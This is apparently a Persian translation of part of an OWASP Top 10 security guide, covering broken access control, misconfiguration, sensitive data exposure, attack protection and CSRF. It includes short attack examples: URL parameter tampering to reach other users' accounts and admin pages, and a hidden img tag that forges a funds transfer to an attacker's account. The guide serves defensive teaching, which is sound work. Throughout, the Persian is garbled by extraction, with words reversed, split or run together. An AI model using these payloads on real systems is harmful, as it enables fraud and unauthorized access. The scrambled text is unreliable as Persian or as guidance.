 ازیموردن جاهمهو در  شوندیماجرا  یدرستبه هاکنترلاین  آیاکند که  دیتائ تواندیم افزارنرمبررسی کد 

خودکار  یابزارهااست.  مؤثر ،کنترل دسترسی یهانقص. تست دستی نیز برای شناسایی خیرهستند یا 

تشخیص دهند که چه چیز برای  توانندینم، زیرا ندیآینمنظر بهمناسب  ییهانقصبرای چنین  طورمعمولبه

 است و چه چیزی امن است و چه چیزی امن نیست. ازیموردنمحافظت 

 چگونه از این نقص پیشگیری کنیم؟ 2-4-4

رویکرد برای محافظت از هر تابع و هر نوع  کنترل دسترسی نیازمند انتخاب یک یهانقصپیشگیری از 

 )مانند شماره شیء، نام فایل( است. یاداده

دسترسی را بررسی کنید. برای اطمینان از اینکه کاربر برای منابع درخواست شده مجاز است، باید  .1

 ، شامل بررسی کنترل دسترسی باشد.نامعلومهرگونه استفاده از مرجع مستقیم از منبع 

از حمله  یسینوبرنامهاستفاده کنید. این الگوی  میرمستقیغربر یا نشست از مراجع برای هر کا .2

، مثالعنوانبه. کندیم، جلوگیری انددادهرا هدف قرار  رمجازیغمستقیم منابع  طوربهمهاجمانی که 

 ،استفاده از کلید پایگاه داده منابع، یک لیست کشویی از شش منبع مجاز برای کاربر فعلی یجابه

 ESAPIبرای نشان دادن مقداری که کاربر انتخاب کرده، استفاده کند.  6تا  1از اعداد  تواندیم

OWASP  توانندیم دهندگانتوسعهشامل هر دو نقشه مرجع پیوسته و دسترسی تصادفی است که 

 برای از بین بردن مراجع مستقیم شیء استفاده کنند.

 گسترش مجوز مناسب. این مورد اغلب سفارشی است. دیتائ برای رینفوذپذخودکار. اتوماسیون  دیتائ .3

 نمونه سناریو حمله 3-4-4

که دسترسی به  کندیماستفاده  SQLنشده در یک درخواست  دیتائ یهادادهاز  افزارنرم: 1سناریو شماره 

 اطلاعات حساس دارد:

pstmt.setString( 1, request.getParameter("acct"));  

ResultSet results = pstmt.executeQuery( ); 

. اگر دهدیمتغییر  موردنظررا در مرورگر برای ارسال به هر تعداد حساب  "acct"پارامتر  یسادگبهمهاجم 

 کاربری دسترسی پیدا کند. یهاحساببه همه  تواندیمنشده باشد، مهاجم  دیتائ یدرستبه

http://example.com/app/accountInfo?acct=notmyacct 

http://example.com/app/accountInfo?acct=notmyacct
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برای  Admin. حقوق کندیمها  URLمرورگر را مجبور به هدف قرار دادن  یسادگبه: مهاجم 2سناریو شماره 

 است. ازیموردن Adminدسترسی به صفحه 

http://example.com/app/getappInfo 

http://example.com/app/admin_getappInfo 

بتواند  Adminنقص است. اگر غیر از  کینیابتواند به هر صفحه دسترسی داشته باشد،  نامعتبراگر یک کاربر 

 قص است.به صفحه مدیریت دسترسی پیدا کند، این نیز یک ن

 منابع 4-4-4

 :OWASPمنابع 

• OWASP Top 10-2007 on Insecure Direct Object References 

• OWASP Top 10-2007 on Function Level Access Control 

• ESAPI Access Reference Map API 

• ESAPI Access Control API 

 ASVS requirements area for Access Control (V4)برای مطالعه شرایط اضافی کنترل دسترسی به 

 مراجعه کنید.

 :منابع خارجی 

• CWE Entry 285 on Improper Access Control (Authorization) 

• CWE Entry 639 on Insecure Direct Object References 

• CWE Entry 22 on Path Traversal 

4-5 A5 :Security Misconfiguration 

، سرور وب، سرور افزارنرم، سرور هاچارچوب، افزارنرم یمطمئن برا یکربندیپ کیبه داشتن  ازیخوب ن تیامن

 رایشوند، ز یو نگهدار اجراشده، شدهفیتعر دیبا یتیامن ماتیدارد. تنظ رهیفرم و غداده، پلتگاهیپا

 شود. داشتهنگه روزبه دیبا افزارنرم ن،یا هستند. علاوه بر ناامناغلب  هافرضشیپ

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
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هدیدعوامل ت  

 

 یهایژگیو

 کاربردی

کاربران مجاز را که ممکن است  نیناشناس و همچن یخارج نیمهاجم

افراد  نی. همچندیریبگ در نظررا به خطر اندازند،  ستمیتلاش کنند تا س

 .دیریبه انجام اقداماتشان هستند را در نظر بگ لیرا که ما یداخل

 
 وریبهره

 آسان

 هاینقص، نشدهاستفادهصفحات ، فرضشیپهای  حساببهمهاجمین 

محافظت نشده دسترسی پیدا  یهایرکتوریداو  هافایلناخواسته، 

 به سیستم یا دانش آن را کسب کنند. رمجازیغتا دسترسی  کنندیم

 

 
 شیوع

 رایج

 ازجمله، افزارنرمپشته  کیاز  یدر هر سطح یتیامناشتباه  ماتیتنظ

 ،یداده، چارچوب و کد سفارش گاهیاپلت فرم، سرور وب، سرور برنامه، پ

کار  باهم دیبا ستمیس رانیو مد دهندگانتوسعهممکن است رخ دهد. 

 شدهیکربندیپ یدرستبهحاصل شود که کل پشته  نانیکنند تا اطم

بودن غلط، رفتهازدست یهاپچ صیتشخ یخودکار برا یاست. اسکنرها

و  یرضروریغ یهاسیسرو، فرضشیپ یهاحساباستفاده از  مات،یتنظ

 هستند. دیمف رهیغ
 ییشناساقابل

 آسان

 
 ریتأث

 متعادل

 ستمیعملکرد س ایاز داده  یمهاجم به برخ شودیمباعث  ینقص نیچن

 تسخیرمنجر به  ینقص نیاوقات، چن ی. گاهپیدا کند رمجازیغدسترسی 

 .شودیم ستمیکامل س

 
 یهایژگیو

 کاربردی/تجاری

. تمام فتدیکامل به خطر ب طوربه تواندیمشما  بدون اطلاع ،ستمیس نیا

 کند. رییتغ ایدر طول زمان به سرقت رفته و  تواندیماطلاعات شما 

 .گران باشد تواندیم یابیباز یهانهیهز

 

 هستید؟ ریپذبیآسآیا به این نقص  1-5-4

 :جمله از؟ بردیماز پشته برنامه رنج  یمناسب در هر بخش یتیامن یشما از سخت افزارنرم ایآ

، DBMS، وب / برنامه سرور، OSشامل  افزارنرم نی؟ ااندرفته نیشما از ب یافزارهانرماز  کدامچیه ایآ .1

 (.را ببینید A9-2017) شودیم هاکتابخانهها، و تمام اجزا و  API ،یکاربرد یهابرنامه

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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، صفحات، هاسیسرو، هاپورت، مثالعنوانبه) اندشدهنصب ایفعال  یرضروریغ یهایژگیو ایآ .2

 (؟ازاتی، امتهاحساب

 هستند؟ رییهنوز هم فعال و بدون تغ هاآن یهاگذرواژهو  فرضشیپ یهاحساب ایآ .3

 به کاربران ازحدشیب ،خطا یهاامیپ گرید ایو  دهدیمرا نشان  پشته یابیشما ردخطای پردازش  ایآ .4

 ؟دهدیماطلاعات 

، Struts ،Springشما، چارچوب برنامه )مانند  رافزانرم یدر سرورها یتیامن ماتیتنظ ایآ .5

ASP.NET ،)امن نشده است؟ ،یمقدارده یبرا رهیداده و غیهاگاهیپا، هاکتابخانه 

 در معرض خطر بیشتر هستند. هاستمیسبدون انجام پیکربندی امنیتی هماهنگ و قابل تکرار، 

 چگونه از این نقص پیشگیری کنیم؟ 2-5-4

 :است ریتمام موارد ز نمقرر کرد هیاول یهاهیتوص

 شدهمحافظت کاملا  که است  گرید طیمح کیو آسان  عیسر گسترشکه باعث  ریتکرارپذ ندیفرا کی .1

)با کلمه عبور مختلف  باشند شدهیکربندیپ یکسان دیبا دیتول یهاطیمح، و QA. توسعه، شودیم

 یبرا ید تا تلاش کمترخودکار انجام شو صورتبه دیبا ندیفرآ نی(. اطیدر هر مح شدهاستفاده

 شود. جادیا دیجد یتیامن طیمح کی یاندازراه

 طیبه هر مح زمانهم طوربهکه  دیجد یافزارنرم یهاپچو  هایروزرسانبهتمام  که ندیفرا کی .2

شامل  زیرا ن هاکتابخانهو  هاکامپننتتمام  دیبا ندیفرا نی. ادهدیم و گسترش ینگهدار، مستقرشده

 (.ا ببینیدر A9-2017شود )

 .کندیمرا فراهم  هاکامپننت نیمؤثر و امن ب یکه جداساز یقو یافزارنرم یمعمار .3

 یدرستبه هاطیمح هیدر کل ماتیو تنظ هایکربندیپ نکهیا دییتأ یخودکار برا ندیفرآ کی .4

 .اندشدهیکربندیپ

 نمونه سناریو حمله 3-5-4

 یهاحسابو حذف نشده است.  شدهنصبدکار خو طوربه افزانرم تیریسرور کنسول مد: 1سناریو شماره 

، با کلمات عبور کندیمپیدا  سرور شما یبر رو قانونی را ریمهاجم صفحات مد کنندینم رییتغ فرضشیپ

 .دکنیمو آن را تصرف  شودیم ستمیس وارد فرضشیپ

از  یسادگبه توانندیم ین. مهاجمستین رفعالیغدر سرور وب شما  یرکتوریفهرست دا: 2سناریو شماره 

 دایرا پ شماشده لیجاوا کامپا یهاکنند. مهاجم همه کلاس استفاده یلیهر فا افتنی یبرا هایرکتوریدا

 یمعکوس تمام یندسمهبا استفاده از و  کندیم لیوتحلهیتجز سپسو  کندیمرا دانلود  هاآنو  کندیم
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در برنامه  خطرناک یقص کنترل دسترسن کی. سپس مهاجم کندیم افتیدراز آن خود را  یسفارش یکدها

 .کندیم دایشما پ

 طوربهبه کاربران بازگردانده شود،  هاپشته یابیتا رد دهدیماجازه  افزارنرمسرور  یکربندیپ: 3سناریو شماره 

 .رندیپذبیآس ،اندشدهشناختهچارچوب که  یهانسخهمانند اساسی  بیبالقوه معا

 نی. اشوندینمنمونه است که از سرور شما حذف  یافزارهانرمهمراه با سرور برنامه : 4سناریو شماره 

 استفاده کنند. شمااز سرور سازد را قادر میهستند که مهاجمان  یتینقص امن ینمونه دارا یهابرنامه

 منابع

 :OWASPمنابع 

• OWASP Development Guide: Chapter on Configuration 

• OWASP Code Review Guide: Chapter on Error Handling 

• OWASP Testing Guide: Configuration Management 

• OWASP Testing Guide: Testing for Error Codes 

• OWASP Top 10 2004 - Insecure Configuration Management 

 ASVS requirements areas for Security Configurationجهت کسب اطلاعات بیشتر در این زمینه 

(V11 and V19) .را مطالعه کنید 

 :منابع خارجی

• NIST Guide to General Server Hardening 

• CWE Entry 2 on Environmental Security Flaws 

• CIS Security Configuration Guides/Benchmarks 

4-6 A6 :Sensitive Data Exposure 

و  یبهداشت یهامراقبت ،یلاعات حساس مانند اطلاعات مالتحت وب از اط یافزارهانرمها و  APIاز  یاریبس

PII محافظت از برداشت از کارت  یکه برا ی. مهاجمان ممکن است اطلاعاتکنندینممحافظت  یدرستبه

دهند. اطلاعات حساس  رییتغ ایسرقت  ،رندیگیمقرار  مورداستفاده گریجرائم د ای تیسرقت هو ،یاعتبار

مستلزم اقدامات  نیاست و همچن رییهنگام تغ ایوقفه و  تیدر وضع یند رمزنگارمان یمستلزم حفاظت اضاف

 با مرورگر است. یابیهنگام رد ژهیو یاطیاحت
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

 هرگونهبه اطلاعات حساس شما و  تواندیم یکه چه کس دیریدر نظر بگ

، ثابت یهادادهاطلاعات شامل  نی. اابدیاز آن اطلاعات دست  بانیپشت

شامل این . استا شم انیمشتر یمرورگرها یهاداده یو حت موقتی

 .هست یو داخل یخارج یدهایتهد

 
 وریبهره

 دشوار

 زیچ هاآن. شکنندینمرا  یرمزگذار میمستق طوربهمهاجمان  معمولا 

، حملات کنندیم سرقترا  دهایکل، مانند کنندیمرا خراب  یگرید

 کهیدرحالاز سرور،  شدهپاک یاطلاعات متن ای ،دهندیمانجام  یانیمردم

 . کنندیمسرقت  ،از مرورگر کاربر ایو  انتقال استدر حال 

 
 شیوع

 غیر رایج

. نشده باشند یرمزگذاراست که اطلاعات حساس  نیا نقص نیترعیشا

و استفاده از  فیضع یدهایکل دیتول و تیری، مدیرمزنگار انجام هنگام

هش رمزعبور  یهاکیتکن خصوصبهاست،  جیرا فیضع یهامتیالگور

، اما شوندیمپیدا و آسان  جیرا اری. نقاط ضعف مرورگر بسهستند فیضع

به  ی. مهاجمان خارجشوندیمسخت   عیوس اسیدر مق یبرداربهرهبرای 

را سمت سرور  هاینقص توانندیم یسختبهدلیل محدودیت دسترسی 

 سخت است. هانقصاز این  یبرداررهبه نیو همچن پیدا کنند،
 ییشناساقابل

 متوسط

 
 ریتأث

 شدید

به خطر وند را محافظت ش یستیرا که با یشکست اغلب تمام اطلاعات

اطلاعات حساس مانند  یاطلاعات حاو نی، اطورمعمولبه. اندازدیم

 رهیو غ یاعتبار یهاکارت ،ی، اطلاعات شخصمجوزپرونده سلامت، 

 .هستند

 
 یهایژگیو

 کاربردی/تجاری

توجه  زندیمشما لطمه به شهرت  که رفتهازدست یهاداده تجاری ارزش

 یقانون تیمسئول د،نریاطلاعات در معرض خطر قرار گ نی. اگر ادیکن

 .دیریبه شهرت خود را در نظر بگ بیآس نیهمچن ست؟یشما چ

 

 هستید؟ ریپذبیآسآیا شما به این نقص  1-6-4

 یحفاظت اضافمبه  ازیحساس هستند و ن ییهادادهچه است که  نیا دیکن نییتع دیبا که شما یزیچ نیاول

محافظت  دیبا یو اطلاعات شخص یسلامت یهاپرونده ،یعبور، شماره کارت اعتبار یمثال، رمزها یدارند. برا

 :ییهاداده نیچن یشوند. برا

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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واضح متن شکل همیشگی به صورتبه ،هاداده نیاز ا یریگبانیپشتدر اطلاعات  نیاز ا هرکدام ایآ .1

 ؟اندشدهرهیذخ

که  خصوصا است؟  شدهمنتقل یخارج ای یداخلصورت بهاطلاعات در متن واضح،  نیاز ا هرکدام ایآ .2

 خطرناک است. نترنتیا کیتراف

 ؟ردیگیمقرار  استفاده مورد فی/ ضع یمیقد یرمزنگار تمیالگور ایآ .3

 ؟شودیمانجام  مناسب دیکل تیریمد ای، انددشدهیتول فیضع یرمزنگار یدهایکل ایآ .4

آماده  برای مرورگرحساس  یهاداده زمانی که ،مرورگر یهدرها ای یتیامن یهادستورالعمل تمام ایآ .5

 ؟روندیماز بین  ،شودیمارسال یا 

 ,ASVS areas Crypto (V7), Data Prot (V9)برای مطالعه موارد بیشتر در مورد پیشگیری از این نقص 

and SSL/TLS (V10) .را مطالعه کنید 

 چگونه از این نقص پیشگیری کنیم؟ 2-6-4

 نی. بنابراباشدیم TOP10فراتر از  ،هادادهو حفاظت از  SSL / TLSناامن، استفاده از  یخطرات کامل رمزنگار

 :دیرا انجام ده ریحساس حداقل موارد ز یهادادهتمام  یبرا

کاربر  ،ی، حمله داخلمثالعنوانبه) دیمحافظت کنمقابل آنها را در  هاداده دیکه قصد دار یداتیتهد .1

و در  ثابتکه همه اطلاعات حساس را در حالت  دیحاصل کن نانی، اطمدر نظر بگیرید (یخارج

 .دکنمقابله  داتیتهد نیدر برابر اکه  یاگونهبه دیکن یرمزگذار ،موقت تحال

که  ییهاداده. دیاستفاده کن هارع وقت از آندر اسفقط  غیرلازم را ذخیره نکنیدحساس  یهاداده .2

 .شوندینمسرقت  ،دیکنینم رهیذخ

 تیریو مد شودیماستفاده  یقو یدهایکلو  یاستاندارد قو یهاتمیالگور حاصل کنید که نانیاطم .3

 .استفاده کنید FIPS 140 قانونی یرمزنگار یهاماژولخود قرار دارد. از  یمناسب در جا دیکل

حفاظت از رمزعبور  یخاص برا طوربهکه  یتمیا الگوربکه کلمه عبور  دیکن حاصل نانیاطم .4

 .شودیم رهیذخ scrypt ای bcrypt ،PBKDF2است، مانند  شدهیطراح

 اطلاعات حساس یصفحات حاو یسازرهیذخحساس و  یهادادهدرخواست  یهافرمخودکار  لیتکم .5

 .کنید رفعالیغرا 
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 نمونه سناریو حمله 3-6-4

در  داده خودکارگاهیپا یرا با استفاده از رمزگذار یشماره کارت اعتبار ،یبرنامه رمزنگار ک: ی1سناریو شماره 

 دهدیم، اجازه شوندیم یابیکه باز یخودکار زمان صورتبه هاداده نی، احالنیباا. کندیمرمزگذاری  دادهگاهیپا

 ،یشماره کارت اعتبار رهی. ذخبازیابی کند ،واضحدر متن  یشماره کارت اعتبار SQL قینقص تزر کی

 .ستین ی راه چارهعموم یاستفاده از رمزنگار ای یاستفاده از رمزگذار

 یسادگبه. مهاجم کندینمتمام صفحات معتبر استفاده  یبرا TLS از یسادگبه تیسا ک: ی2سناریو شماره 

سپس . کندیمرا سرقت  کاربر نشست یباز( و کوک میسیبشبکه  کی)مثل  کندیمشبکه را نظارت  کیتراف

 برکار یشخص یهادادهو به  آوردیمکاربر هجوم  به نشستو  کندیماجرا  مجددا را  یکوک نیمهاجم ا

 .کندیم دایپ یدسترس

 کی. کندیماستفاده  کلمات عبور رهیذخ یبرا unsalced یهاداده رمزعبور از هش گاهیپا: 3سناریو شماره 

با  تواندیم unsalded یهاکند. تمام هش یابیرمزعبور را باز لیتا فا دهدیمه به مهاجم اجاز لینقص آپلود فا

 .افشا شود است، شدهمحاسبه قبلا هش درونی که جدول  کی

 منابع 4-6-4

 :OWASPمنابع 

و  ASVS req’ts on Cryptography (V7) ،Data Protection (V9)برای کسب اطلاعات بیشتر 

Communications Security (V10) ا مطالعه کنید.ر 

• OWASP Cryptographic Storage Cheat Sheet 

• OWASP Password Storage Cheat Sheet 

• OWASP Transport Layer Protection Cheat Sheet 

• OWASP Testing Guide: Chapter on SSL/TLS Testing 

 :منابع خارجی

• CWE Entry 310 on Cryptographic Issues 

• CWE Entry 312 on Cleartext Storage of Sensitive Information 

• CWE Entry 319 on Cleartext Transmission of Sensitive Information 

• CWE Entry 326 on Weak Encryption 
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4-7 A7 :Insufficient Attack Protection 

و خودکار را ندارند. حفاظت از  یتو پاسخ به حملات دس یریجلوگ ،ییشناسا ییها توانا APIو  افزارهانرماکثر 

 یمسدود کردن تلاش برا یخودکار، ثبت، پاسخ و حت ییاست و شامل شناسا یورود قیحمله فراتر از تصد

 خود را در برابر حملات محافظت کنند. منابعبتوانند  دیبا افزارنرم نیمالک نی. همچنهست سوءاستفاده

 
 عوامل تهدید

 

 یهایژگیو

 کاربردی

درخواست خود را  تواندیمبه شبکه داشته باشد  یه دسترسک یهرکس

را و خودکار  یشما حملات دست افزارنرم ای. آدارسال کنشما  افزارنرمبه 

 ؟دهدیمپاسخ شناسایی و به آن 

 
 وریبهره

 آسان

ارسال درخواست ناشناس، در حملات  ای شدهشناختهمهاجمان، کاربران 

به ؟ چگونه کندیم ییحمله را شناسااین  API ای افزارنرم ای. آکنندیم

 یهایریپذبیآس هیحملات عل توانیم ای؟ آدهدیمپاسخ آن 

 کرد؟ یرا خنث شدهشناخته

 
 شیوع

 رایج

و  افزارهانرم. اکثر رندیگیمقرار  موردحمله شهیها هم APIو  افزارهانرم

API  از آن رد  یسادگبه، اما کنندیم یینامعتبر را شناسا یهایورودها

 کی یحملات نی. چندهدیمکه به مهاجم اجازه حمله مجدد ، شوندیم

، کندیم سوءاستفاده یریپذبیآساز که خطرناک  ایکاربر مخرب 

 خودکارو  یو مسدود کردن حملات دست صی. تشخکنندیمشناسایی 

 کی دیتوانیم عیاست. چقدر سر تیامن شیافزا یهاراه نیمؤثرتراز  یکی

 د؟یپچ کن دیاکردهمهم را که شما کشف  یریپذبیآس
 ییشناساقابل

 متوسط

 
 ریتأث

 متعادل

. شوندیمآغاز  یریپذبیآس ییبا شناسا زیآمتیموفقحملات  نیشتریب

را موفق  یبرداربهرهادامه، احتمال  یبرا هاپرونده نیاجازه دادن به چن

ا، به مهاجمان عدم گسترش سریع پچ ه. دهدیم شافزای ٪100به 

 .کندیمکمک 

 
 یهایژگیو

 کاربردی/تجاری

. حملات دیریدر نظر بگ وکارکسبدر  ،از حمله یحفاظت ناکاف ریتأث

نشده و  نمایان یمدت طولان ی، برانشوندممکن است مانع  زیآمتیموفق

 .ابدییمگسترش  هاآن هیاول حملهفراتر از  مراتببه

 

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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 ستید؟ه ریپذبیآسآیا به این حمله  1-7-4

اما  رندیقرار گ یبرداربهرهمورد  یسختبه هابرنامهکه  شودیمپاسخ، و مسدود کردن حملات باعث  ص،یتشخ

 یسفارش یکدهادر همواره  یبحران یهایریپذبیآسدارد. را ن یمحافظت نیچن ای API یا افزارنرم چیه با یتقر

 .گذارندیموقت  دیرفع نواقص جد یرا برا هاماه یحت ای هاهفته لباغ هاسازمان، اما ها آشکار استو کامپننت

 برایاسکنر  کی ای دیانجام ده ی. حملات دستدنریقرار نگ باهمحمله و پاسخ  صیاگر تشخبدیهی است 

 اتید، و جزئنرا مسدود ک حیاتید، حملات نک ییحملات را شناسا دیبا API ای افزارنرم. دیاجرا کن افزارنرم

، شما شودیمکشف  یبحران یریپذبیآس کهیهنگام. اگر ندحمله را ارائه ک یهایژگیومربوط به مهاجم و 

 .دیریگیمقرار شما در معرض حمله  د،یرا کشف کن یواقع ایو  یمجاز یهاپچ دینتوان سرعتبه

فقط  ای. آردیگیمتحت پوشش قرار  ،که کدام نوع حملات توسط حفاظت از حمله دیحاصل کن نانیاطم

 OWASP AppSensorو  WAF ،RASPمانند  ییهایآورفناز  دیتوانیماست؟ شما  SQLو  XSS قیتزر

 .دیاستفاده کن ،پچ یهایریپذبیآس با  یتقر ایبلوک حملات و /  ایو  ییشناسا یبرا

 چگونه از این حمله پیشگیری کنیم؟ 2-7-4

 اصلی وجود دارد: راهسهبرای حفاظت از حمله، 

 یورود کی مثلا  )باشد ن ریپذامکانقانونی کاربران  یاست که برا دادهرخ اتفاقی ایآ .حملات صیتشخ .1

کاربر  کیکه  است شدهاستفاده یاگونهبه افزارنرم ایکند(؟ آ دیتول تواندینم یقانون یمشتر کیکه 

 یالگوها ،رمعمولیغ یبالا، ورود اری، سرعت بسمثالعنوانبه)استفاده نکرده است هرگز  یعاد

 مکرر(؟ یهادرخواست، معمولریغاستفاده 

 ایکه آ دیریبگ میهستند. تصم یاتیح موقعبهپاسخ  یبرا هاهیاطلاعو  ها Log .پاسخ به حملات .2

 ی. حساب کاربرخیریا  دیکنیمرا مسدود  IPمحدوده  ای IP یهاآدرس، هادرخواستخودکار  طوربه

 .دیکن رفعالیغیا  ینادرست را بررس

 کیرا که تراف یپچ مجاز کی، استخراج کندرا  یبحران پچ کی ینتواند روز dev ندیاگر فرآ .عیپچ سر .3

HTTPد و از یمستقر کن کندیم لیوتحلهیتجزرا  اجراقابل کد ایو /  هاداده انی، جر

 .محافظت کنید رندیگیمقرار  سوءاستفادهمورد  که ییهایریپذبیآس

 نمونه سناریو حمله 3-7-4

و  هایریپذبیآس ییشناسا یبرا SQLMap ای OWASP ZAPخودکار مانند  مهاجم از ابزار: 1سناریو شماره 

 .کندیماستفاده  هاآناز  سوءاستفاده احتمالا 
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را شناسایی  ردیگیمو حجم بالا هدف قرار  رمعمولیغ یهادرخواستبا  که یافزارنرم دیحمله با صیتشخ

 آسان باشد.باید  یعاد کی. اسکن خودکار از ترافکند

 تیدرنهاو  دهدیمقرار  یموردبررسرا  یاحتمال یهایریپذبیآس دقتبهمهاجم ماهر  ک: ی2شماره سناریو 

 .کندیم داینقص مبهم پ کی

هرگز آن  یاست که کاربر معمول ییهادرخواستحمله همچنان شامل  نیاست، ا ترسخت صیتشخ کهیدرحال

 کی جادیبه ا ازیمهاجم ممکن است ن نیا یریگیپ. ستین UI دیتائمورد  که ی، مانند ورودکندینمرا ارسال 

 هدف مخرب است. دهندهنشانپرونده در طول زمان داشته باشد که 

که حفاظت از  کندیمشما  افزارنرمدر  یریپذبیآس کیاز  یبرداربهرهشروع به  کنندهحمله: 3سناریو شماره 

 .کندیمرا مسدود  شما یحملات فعل

تولید  یریپذبیآس نیاز ا یبرداربهرهاز  یریجلوگ یبرا ی رامجاز ای یپچ واقع کی دیتوانیم عیچقدر سر

 ؟کنید

 منابع 4-7-4

 :OWASPمنابع 

• OWASP Article on Intrusion Detection 

• OWASP AppSensor 

• OWASP Automated Threats Project 

• OWASP Credential Stuffing Cheat Sheet 

• OWASP Virtual Patching Cheat Sheet 

• OWASP Mod Security Core Ruleset 

 :منابع خارجی

• WASC Article on Insufficient Anti-automation 

• CWE Entry 778 - Insufficient Logging 

• CWE Entry 799 - Improper Control of Interaction Frequency 

4-8 A8 :Cross-Site Request Forgery (CSRF) 

 یجعل HTTPدرخواست  کیتا  کندیمرا مجبور  واردشدهرا که به آن  یرورگر قربان، مCSRFحمله  کی

تحت وب  افزارنرم کیخودکار، به  تیهو دیتائاطلاعات مربوط به  هرگونهو  ینشست قربان یکوک ازجمله

که  ردیبگ اریدر اخت ار یتا مرورگر قربان دهدیمبه مهاجم اجازه  یحملات نیارسال کند. چن ریپذبیآس

 است. یمهاجم، دستورات مشروع قربان ریپذبیآس یهادرخواست
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

 گذاریبار شماکاربران  یمحتوا را در مرورگرها تواندیمکه  یهرکس

درخواست خود را به  دیرا مجبور کن هاآنو  دیریکند، در نظر بگ

ه کاربران ک گرید HTML ای تیساوبهر  ازجمله، شما تیساوب

 ، ارسال کنند.کنندیم دیبازد

 
 وریبهره

 متوسط

 یرا برا یقربان کیو  کنندیمرا جعل  HTTP یهادرخواستمهاجمان 

 یهاکیتکن ای iframes ،XSS ر،یتصو یهاتگ قیاز طر هاآنارسال 

 .شودیمشود، حمله موفق  دیی. اگر کاربر تأدهندیم بیفردیگر مختلف 

 
 شیوع

 رایجغیر 

CSRF  وب به  یهابرنامهکه اکثر  ردیگیماز این واقعیت بهره

 ینیبشیپتمام جزئیات یک عمل خاص را  دهندیممهاجمان اجازه 

 .کنند

نشست اعتبار سنجی را  یهایکوکمانند  ما یمستقمرورگرها  ازآنجاکه

صفحات وب مخرب  توانندیم، مهاجمان کنندیمخودکار ارسال  طوربه

 صیتشخقابلجعلی را که از موارد قانونی  یهادرخواستند که ایجاد کن

 .کندیمنیستند، ایجاد 

کد بسیار  لیوتحلهیتجزاز طریق آزمون نفوذ یا  CSRF تشخیص نقص

 .آسان است

 ییشناساقابل

 آسان

 
 ریتأث

 متعادل

 تیوضع رییتغ اتیرا به انجام هرگونه عمل انیقربان توانندیممهاجمان 

 اتیجزئ یروزرسانبه، مثالعنوانبه) ستامجاز به انجام آن  یانکه قرب

 دهد. بی( فرهاداده رییتغ د،یحساب، خر

 
 یهایژگیو

 کاربردی/تجاری

را در نظر  افزارنرمو یا عملکرد  دهیدبیآس یهادادهارزش تجاری 

تصور کنید مطمئن نیستید که کاربران قصد دارند این اقدامات  .بگیرید

 .ام دهندرا انج

 .تأثیر آسیب به شهرت خود را در نظر بگیرید

 

 هستید؟ ریپذبیآس CSRFآیا شما به  1-8-4

 CSRFها یک نشانهو فرم هانکیلاست، ببینید کدام  ریپذبیآس افزارنرمبرای بررسی اینکه آیا یک 

فاع د. دا ایجاد کننمخرب ر یهادرخواست توانندیم، مهاجمان یانشانهبدون چنین د. دارن ینیبشیپرقابلیغ

از طریق مجوز  مثلا  متناظر این است که کاربر باید اثبات کند که قصد دارد این درخواست را ایجاد کند، 

 .مجدد

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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 اهداف مهم هاآن، زیرا شودیمکه منجر به عملکرد توابع تغییر حالت  ییهافرمو  هانکیلتمرکز کنید روی 

CSRF همچنین توجه داشته باشید که د. ذاتی ایمن نیستن لحاظ از یاچندمرحله یهاتراکنش .هستند

 HTTP یهادرخواستها در ایجاد  APIو  افزارهانرمنیز با فریب دادن  (SSRF) جعل سرور تقاضای

 .است ریپذامکان ،دلخواه

خودکار توسط  طوربهمنبع و سایر اطلاعاتی که  IP یهاآدرسنشست،  یهایکوکتوجه داشته باشید که 

 .جعلی هستند یهادرخواستمصون نیستند زیرا شامل  CSRF ، در برابرشوندیمگر ارسال مرور

کمک  CSRF هاینقصدادن خطرات به تولید موارد آزمون برای نشان تواندیم Tester CSRF OWASP ابزار

 .کند

 پیشگیری کنیم؟ CSRFچگونه از  2-8-4

 شامل دفاع از هاچارچوبحال حاضر بسیاری از موجود است. در  CSRF گزینه قابل ترجیح، استفاده از دفاع

CSRF  هستند، مانندSpring ،شینما ،Django و ،AngularJS توسعه وب مانند یهازبان. بعضی از.NET  

را به  CSRF خودکار دفاع از طوربه تواندیم CSRF OWASP. محافظدهندیمانجام  یخوببهنیز همین کار را 

انجام  و آپاچی PHP مشابه برای طوربهاین کار را  CSRFProtector OWASP جاوا اضافه کند. یهابرنامه

 .دهدیم

 در هر درخواست ینیبشیپرقابلیغنیاز به ورود یک نشانه  معمولا  CSRF در غیر این صورت، جلوگیری از

HTTP  باشند. فردمنحصربه ،باید حداقل در هر نشست کاربر ییهانشانهدارد. چنین 

شامل  نی. ادیوارد کن یمخف محل کیرا در  فردمنحصربهاست که نشانگر  نیا حیترجقابل  نهیگز .1

 .کندیم یریجلوگ URLآن در  که از افشاءاست،  HTTPدرخواست  همقدار در بدن

که  وجود داردخطر  نی، احالنیبااپارامتر باشد.  کی ای URLدر  تواندیم زین فردمنحصربهنشانه  .2

 .ردیم قرار گمهاج کینشانگر در معرض 

در تمام  ،شودیم یبانیپشت یاندهیفزا طوربهکه در مرورگرها  "SameSite = strict"از پرچم  .3

 .دیاستفاده کن هایکوک

 نمونه سناریو حمله 3-8-4

را ارسال کند.  مخفی ندارد زیچچیهکه  حالت رییدرخواست تغ کیکه  دهدیمبه کاربر اجازه  افزارنرم نیا

 :مثلا 

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
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و  دهدیممهاجم انتقال  حساببه یکه پول را از حساب قربان کندیم جادیدرخواست ا کیمهاجم  ن،یبنابرا

مختلف تحت کنترل مهاجم  یهاتیسادر که  iframe ای ریدرخواست تصو کیحمله را در  نیسپس ا

 :دهدیمقرار  ،شدهرهیذخ

<imgsrc="http://example.com/app/transferFunds? 

amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /> 

مهاجم بازدید کند، این  یهاتیسااعتبار دارد از  example.comتا زمانی که  یقربان کهیدرصورت

 .کنندیمخودکار شامل اطلاعات نشست کاربر، درخواست مهاجم را معتبر  طوربهجعلی  یهادرخواست

 منابع 4-8-4

 :OWASPمنابع 

• OWASP CSRF Article 

